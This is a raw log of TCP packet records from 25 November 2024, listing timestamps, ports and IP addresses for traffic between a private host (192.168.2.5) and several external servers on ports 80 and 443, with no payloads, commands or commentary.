Nov 25, 2024 16:21:36.298666954 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.298732042 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.298747063 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.303930998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.303942919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.304001093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.307212114 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.307248116 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.307286978 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.307296991 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.307571888 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.310228109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.310292006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.310383081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.310488939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.316451073 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.316627979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.316643953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.316679001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.316716909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.321856976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.321912050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.322124958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.322269917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.323010921 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.323230982 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.323241949 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.327745914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.327826023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.327851057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.327914953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.332776070 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.332844019 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.332854033 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.333766937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.333832979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.333880901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.333898067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.339694977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.339776993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.339785099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.339838982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.340219021 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.340281010 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.340291023 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.345644951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.345752001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.345819950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.349591017 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.349663019 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.349670887 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.351612091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.351742029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.351821899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.356795073 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.356873989 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.356880903 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.357580900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.357647896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.357676983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.357728004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.363558054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.363673925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.363699913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.363744974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.366162062 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.366229057 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.366241932 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.369554043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.369591951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.369626045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.369652987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.370590925 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.370717049 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.370724916 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.375469923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.375530005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.375680923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.375842094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.378962040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.379043102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.379168987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.379214048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.382323027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.382378101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.382431984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.382468939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.382559061 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.382586002 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.382610083 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.382618904 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.382687092 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.385747910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.385812044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.385878086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.389090061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.389102936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.389148951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.389265060 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.392505884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.392570972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.392575026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.392651081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.395730972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.395783901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.395839930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.395879984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.397690058 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.397756100 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.397794008 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.397804976 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.397844076 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.399009943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.399126053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.399199963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.402015924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.402070999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.402116060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.402162075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.404180050 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.404795885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.404851913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.404865980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.404990911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.407665014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.407676935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.407725096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.408571959 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.408668995 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.408729076 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.408740997 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.408807993 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.410490990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.410551071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.411976099 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.416307926 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.416368008 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.416388988 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.416398048 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.416445017 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.440769911 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.442331076 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.442385912 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.442399025 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.445554018 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.445616007 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.445622921 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.451509953 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.451570988 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.451572895 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.451582909 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.451627970 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.460161924 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.461750031 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.461779118 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.461803913 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.461813927 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.461863995 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.471851110 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.473820925 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.473874092 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.473890066 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.473897934 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.473972082 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.480988026 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.481157064 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.481247902 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.481379032 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.481391907 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.484097958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.484139919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.484203100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.484247923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.485146046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.485208035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.485656023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.485740900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.485800982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.488034964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.488100052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.488352060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.488441944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.490607023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.490684986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.490747929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.492954969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.492965937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.493680000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.495381117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.495537996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.495678902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.496918917 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.496979952 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.497037888 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.497046947 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.497850895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.497864008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.497915030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.500094891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.500152111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.500197887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.500241041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.500410080 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.500473022 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.500478029 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.501545906 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.501609087 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.501617908 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.502407074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.502463102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.502505064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.502599001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.503875017 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.504020929 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.504316092 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.504333019 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.504487991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.504556894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.504612923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.506817102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.506944895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.507000923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.508867979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.508934975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.508972883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.508999109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.511013985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.511079073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.511111021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.511149883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.513024092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.513174057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.513257027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.515211105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.515250921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.515347958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.517184019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.517230034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.517359972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.517404079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.519146919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.519205093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.519323111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.519367933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.521372080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.521481037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.521580935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.523333073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.523413897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.523472071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.525218964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.525338888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.525382996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.526036024 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.526108027 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.526180983 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.526338100 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.526354074 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.526743889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.526818991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.526824951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.526905060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.528510094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.528527975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.528609037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.528609037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.530270100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.530317068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.530368090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.532068968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.532079935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.532164097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.533813953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.533835888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.533883095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.535501957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.535586119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.535610914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.536024094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.537219048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.537318945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.537456989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.538973093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.539068937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.539117098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.539159060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.540757895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.540771961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.540837049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.540837049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.542495966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.542562962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.542705059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.542826891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.544110060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.544157028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.544256926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.544385910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.545855999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.545945883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.545977116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.546137094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.547590971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.547631979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.547698975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.549307108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.549429893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.549509048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.551040888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.551112890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.551237106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.551322937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.552772999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.552839041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.552859068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.552901983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.554450989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.554517031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.554819107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.554877043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.556164026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.556291103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.556375027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.558024883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.558144093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.558146000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.558343887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.559648037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.559721947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.559900045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.561465979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.561568022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.561674118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.563096046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.563160896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.563225031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.563321114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.564855099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.564867020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.564934015 CET	49765	80	192.168.2.5	185.215.113.206
